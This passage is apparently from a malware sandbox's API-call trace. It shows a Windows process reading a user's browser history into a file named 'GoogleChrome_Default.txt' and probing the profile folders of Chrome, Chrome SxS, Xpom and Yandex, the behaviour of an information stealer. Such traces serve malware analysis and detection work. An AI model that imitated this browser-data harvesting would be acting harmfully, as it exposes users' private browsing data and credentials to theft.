dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d3a8 | out: lpOverlapped=0x18d3a8) returned 1 [0061.753] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d39c | out: lpOverlapped=0x18d39c) returned 1 [0061.753] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d3ac | out: lpOverlapped=0x18d3ac) returned 1 [0061.753] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c626, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0061.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d3a8 | out: lpFileInformation=0x18d3a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.753] GetLastError () returned 0x2 [0061.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d3c0 | out: lpFileInformation=0x18d3c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.753] GetLastError () returned 0x2 [0061.753] ReadFile (in: hFile=0x440, lpBuffer=0x4567be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18d3c8, lpOverlapped=0x18d38c | out: lpBuffer=0x4567be0*, lpNumberOfBytesRead=0x18d3c8*=0x1000, lpOverlapped=0x18d38c) returned 1 [0061.754] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d0a8 | out: lpOverlapped=0x18d0a8) returned 1 [0061.754] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd78 | out: lpOverlapped=0x18dd78) returned 1 [0061.754] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd6c | out: lpOverlapped=0x18dd6c) returned 1 [0061.754] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd7c | out: lpOverlapped=0x18dd7c) returned 1 [0061.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c626, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0061.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dd78 | out: lpFileInformation=0x18dd78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.754] GetLastError () returned 0x2 [0061.754] ReadFile (in: hFile=0x440, lpBuffer=0x18ddfc, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18dde4, lpOverlapped=0x18dda8 | out: lpBuffer=0x18ddfc*, lpNumberOfBytesRead=0x18dde4*=0x10, lpOverlapped=0x18dda8) returned 1 [0061.754] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c66b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0061.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dd90 | out: lpFileInformation=0x18dd90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.754] GetLastError () returned 0x2 [0061.755] ReadFile (in: hFile=0x440, lpBuffer=0x4566b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ddb0, lpOverlapped=0x18dd74 | out: lpBuffer=0x4566b40*, lpNumberOfBytesRead=0x18ddb0*=0x1000, lpOverlapped=0x18dd74) returned 1 [0061.755] ReadFile (in: hFile=0x440, lpBuffer=0x4565aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18dd58, lpOverlapped=0x18dd1c | out: lpBuffer=0x4565aa0*, lpNumberOfBytesRead=0x18dd58*=0x1000, lpOverlapped=0x18dd1c) returned 1 [0061.755] ReadFile (in: hFile=0x440, lpBuffer=0x4564a00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18dd68, lpOverlapped=0x18dd2c | out: lpBuffer=0x4564a00*, lpNumberOfBytesRead=0x18dd68*=0x1000, lpOverlapped=0x18dd2c) returned 1 [0061.755] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd60 | out: lpOverlapped=0x18dd60) returned 1 [0061.755] SysReAllocStringLen (in: pbstr=0x18e1a4*=0x0, psz="[2017-06-05 01:52:34] \r\nhttps://dl.google.com/update2/installers/clickonce/GoogleInstaller_de.application?appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B68554C01-EC80-275E-D8D9-EB318EE0B244%7D%26lang%3Dde%26browser%3D2%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1\r\n\r\n[2017-06-05 01:52:32] Chrome für Desktop-Computer\r\nhttps://www.google.com/intl/de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-05 01:52:32] Sign in bei Hotmail, Outlook Login, Skype, Messenger – MSN Deutschland\r\nhttp://www.msn.com/de-de/?ocid=iehp\r\n\r\n[2017-06-05 01:52:12] download chrome - Bing\r\nhttp://www.bing.com/search?q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:08] \r\nhttp://www.bing.com/favicon.ico\r\n\r\n[2017-06-05 01:52:06] \r\nhttps://support.microsoft.com/en-us/products/internet-explorer\r\n\r\n[2017-06-05 01:52:06] RSS\r\nhttp://www.bing.com/search?format=rss&q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://ieonline.microsoft.com/favicon.ico\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/products/internet-explorer\r\n\r\n[2017-06-05 01:52:04] \r\nhttp://go.microsoft.com/fwlink/?LinkID=121792\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/internet-explorer\r\n\r\n[2017-06-05 01:52:00] \r\nhttp://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://www.msn.com/?ocid=iehp\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://go.microsoft.com/fwlink/?LinkId=69157\r\n\r\n", len=0x5ba | out: pbstr=0x18e1a4*="[2017-06-05 01:52:34] \r\nhttps://dl.google.com/update2/installers/clickonce/GoogleInstaller_de.application?appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B68554C01-EC80-275E-D8D9-EB318EE0B244%7D%26lang%3Dde%26browser%3D2%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1\r\n\r\n[2017-06-05 01:52:32] Chrome für Desktop-Computer\r\nhttps://www.google.com/intl/de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-05 01:52:32] Sign in bei Hotmail, Outlook Login, Skype, Messenger – MSN Deutschland\r\nhttp://www.msn.com/de-de/?ocid=iehp\r\n\r\n[2017-06-05 01:52:12] download chrome - Bing\r\nhttp://www.bing.com/search?q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:08] \r\nhttp://www.bing.com/favicon.ico\r\n\r\n[2017-06-05 01:52:06] \r\nhttps://support.microsoft.com/en-us/products/internet-explorer\r\n\r\n[2017-06-05 01:52:06] RSS\r\nhttp://www.bing.com/search?format=rss&q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://ieonline.microsoft.com/favicon.ico\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/products/internet-explorer\r\n\r\n[2017-06-05 01:52:04] \r\nhttp://go.microsoft.com/fwlink/?LinkID=121792\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/internet-explorer\r\n\r\n[2017-06-05 01:52:00] \r\nhttp://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://www.msn.com/?ocid=iehp\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://go.microsoft.com/fwlink/?LinkId=69157\r\n\r\n") returned 1 [0061.755] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp")) returned 1 [0061.757] CharToOemBuffA (in: lpszSrc="Browsers\\History\\GoogleChrome_Default.txt", lpszDst=0x42acb60, cchDstLength=0x29 | out: lpszDst="Browsers\\History\\GoogleChrome_Default.txt") returned 1 [0061.757] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x42acbd0, Length=0x5ba) returned 0x321d272b [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0061.758] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0061.758] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0061.758] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0061.758] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.758] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0061.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.758] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.758] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.758] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0061.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.758] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.758] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.758] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0061.758] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web 